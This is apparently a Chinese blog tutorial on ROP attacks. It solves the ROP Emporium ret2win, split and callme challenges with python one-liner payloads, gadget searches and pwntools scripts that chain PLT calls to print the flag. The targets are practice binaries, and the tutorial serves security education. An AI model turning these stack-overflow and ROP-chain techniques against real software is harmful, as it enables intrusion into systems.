x86 架构中的内存攻击技术 ROP(一)

1 ROP 简介

返回导向编程(Return-Oriented Programming,ROP)是一种高级的内存攻击技术,主要是为了绕过操作系统的防御手段 NX。该技术往往利用一些已有的漏洞,特别是缓冲区溢出,攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),这些 gadget 组合,就能成功执行我们自己的逻辑。

我们将返回地址修改,指向我们想要指向的指令,如果这段指令以 ret 结尾,那么 sp + 4,此时,在原来栈中的返回地址的下一个空间,又变成了返回地址(ret 指令相当于 pop eip; esp = esp + 4),我们可以不停的重复这个过程,前提是,每次要指向的指令都是以 ret 结尾。(ret 执行,会让 sp + 4),这样就可以连续执行 gadgets。

在这里插入图片描述
gadget 类型有很多,在此先不一一列举,我们以实际案例来分析,到底如何构造 ROP 链,达到漏洞利用的效果。下面就以 ROP Emporium 提供的题目为例来进行说明。如果在此之前,你能够对栈、函数调用,传参,有一个很好的理解,是最好不过的。如果在题目中遇到困惑,相信笔者之前所写的文章能够给予帮助: 从汇编角度理解 ebp&esp 寄存器、函数调用过程、函数参数传递以及堆栈平衡

2 ROP Emporium

ROP Emporium 提供了 7 个难度逐级增加的二进制文件,并且分为 32 位和 64 位。这些程序带有的漏洞是一样的,都是一个简单的栈溢出,所有文件的安全编译选项也是一样的

在这里插入图片描述
由于已经开启了堆栈不可执行的安全编译选项,我们就没有办法通过写入 shellcode,直接让返回地址指向 shellcode,来执行我们的 payload 了。最直接的方法就是 ROP,让返回地址指向程序原本含有的汇编指令。虽然都是栈溢出,但是这 7 个二进制,其中包含的能够利用的 gadget 是不同的,难度也是由浅入深

漏洞点

函数 pwnme 中,分配一个变量,这个变量离栈底 0x28=40 个字节,而用户输入的字符串正好存在这个变量中。因此用户的输入一旦超过 40 个字节,就会发生栈溢出
在这里插入图片描述
如果你觉得抽象,从 IDA 反编译的代码中,可以进一步看到程序的逻辑
在这里插入图片描述
每个程序的漏洞点找到了,接下来就是看看各个程序中,都有哪些可以利用的二进制代码片段,即我们所说的 gadget,将它们串起来,就能达到意想不到的效果。

2.1.1 ret2win32

通过 shift + F12,查找关键字的方式,再结合代码中的引用情况,很容易发现 ret2win() 函数中,有我们想要执行的代码

在这里插入图片描述
ret2win() 反汇编代码如下,也是相当的简单

在这里插入图片描述
所以,返回地址指向 0x080486590x08048672 都可以达到效果

# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python

运行结果

在这里插入图片描述

扫描二维码关注公众号,回复: 10733833 查看本文章

2.1.2 ret2win

64 位程序与 32 位程序有所不同,使用寄存器传递参数,而非通过 ebp 寻找堆栈中的参数。当然对于本题,没有实质的影响。但是 ret2win 中,能够溢出的局部变量的偏移量与 32 位有所不同

在这里插入图片描述
这里用户输入的变量距离 rbp 的距离为 0x20=32 个字节,所以写漏洞利用代码的时候,需要填充 32 + 8 个字节的无用数据(其他漏洞利用的原理和能够使用的 gadget 与 32位一致)

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win

运行结果

在这里插入图片描述

2.2.1 split32

与 ret2win32 有所不同的是,这一回并没有可以一步到位的执行代码。我们的思路是,让返回地址指向 0x08048657,但同时要为 system 函数指定参数。0x0804A030 存放了我们想要的参数。

# data
.data:0804A030                 public usefulString
.data:0804A030 usefulString    db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652                 push    offset command  ; "/bin/ls"
.text:08048657                 call    _system

方法一

直接运行 call _system 指令,后面紧接着跟上参数,这不需要堆栈平衡。如下为调用子程序 system 时,栈空间的情况,详情可参考 从汇编角度理解 ebp&esp 寄存器、函数调用过程、函数参数传递以及堆栈平衡

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048657 ——-—>  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数      push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

由于 32 位程序是根据 ebp 的偏移量来找到形参的,而这里,直接调用 call _system ,ebp 相对于上一个函数 ebp 位置还是没有改变,因此参数位置也没有改变。漏洞利用代码如下

# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

方法二

找到 system 的 plt 所在位置,返回地址直接溢出为该地址,再传入参数,但是这种情况下,需要平衡堆栈,为什么呢?这就还是得分析函数调用过程中,堆栈的变化了。

这是 plt 中的 system 条目

.plt:08048430 ; int system(const char *command)
.plt:08048430 _system         proc near               ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command         = dword ptr  4
.plt:08048430
.plt:08048430                 jmp     ds:off_804A018
.plt:08048430 _system         endp

如果直接让溢出的返回地址修改为 plt 中对应的 sytem,此时栈空间如下

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048430 ——-—>  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

因此,返回地址后,需要再填充 4 个字节,才能跟上参数

python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32

运行结果

在这里插入图片描述

2.2.2 split

64 位程序使用寄存器传递参数的,第一个参数是存放在 rdi 寄存器中的,这时候就需要工具来寻找特定的汇编代码了。

ROPgadget 是一款优秀的 gadget 寻找工具,用法如下

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

或者使用 gdb 插件 peda 自带的 ROPsearch 命令

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3')	pop rdi; ret

构造的栈如下

|----------------|
|rbp:aaaa aaaa    
|----------------|		
|返回地址:0x400883		ret		 # sp - 8	sp 指向 下一行
|----------------|		pop rdi  # sp - 8	将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag		ret		 # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈

漏洞利用

# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

运行结果

在这里插入图片描述

2.3.1 callme32

从本题开始,稍稍有点难度了,主要是代码逻辑层面变得复杂了一些。前两题都属于 ret2text,本题引入了自己写的库文件,ROP 链可能会用到 .so 文件中的二进制指令,因此我们称之为 ret2lib

在这里插入图片描述
函数 usefulFunction 用到了三个函数 _callme_one two three,而这三个函数是外部符号。使用 readelf 或者 objdump 可以查看二进制文件需要的依赖

root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libcallme32.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

这三个函数非标准库函数,所以必然在 libcallme32.so 文件中。使用 IDA 反汇编,查看三个函数的作用

callme_one 读取加密后的 flag 内容

在这里插入图片描述
callme_two 循环亦或,解密,并存在全局变量 g_buf

在这里插入图片描述
callme_three 循环亦或,继续解密,并将结果打印出来

在这里插入图片描述
因此,最后的 ROP 链,应该是依次运行三个函数,但是,每个函数都必须传入 1、2、3 三个参数,这样函数才能走到正确的分支,并将 flag 打印出来。这里并不能直接运行 usefulFunction 函数,所以只能找到三个函数在 plt 中的位置。注意我们在 split32 中,已经说明,需要平衡堆栈。需要放入三个参数,相对应的,也需要三个 pop 指令来平衡,堆栈平衡在上节已经说过

root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

Unique gadgets found: 7

0x080488a9 满足我们的需求,因此,最终的利用代码如下

from pwn import *

sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)

payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args

sh.sendline(payload)
sh.recv()

运行结果

在这里插入图片描述

2.3.2 callme

64 位程序是用寄存器来传递参数的(第一二三个参数对应 rdi rsi rdx),而不是用堆栈,这在上一节已经说过。如果你对传参还不是很了解,欢迎访问 从汇编角度理解 ebp&esp 寄存器、函数调用过程、函数参数传递以及堆栈平衡 。这里也一样,我们需要找到 pop rdi、pop rsi、pop rdx,这样才能传参

# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret

这个栈需要精心构造,与 32 位程序有所不同

from pwn import *

sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0

args = p64(0x01) + p64(0x02) + p64(0x03)

payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

sh.sendline(payload)
sh.recv()

运行结果

在这里插入图片描述

3 总结

我们以几个实际案例,分析了如何利用 ROP 链,达到控制程序流的目的。在本次漏洞利用环节,ret2win 和 split 属于 ret2text,即将返回地址指向本程序中的一段代码;callme 属于 ret2lib,或者说是 ret2plt(此称呼并不常见),即将返回地址指向 libc 库中的函数。如果你坚持弄明白这几道题目,那么后续的难题也不在话下了。

发布了52 篇原创文章 · 获赞 30 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/105285418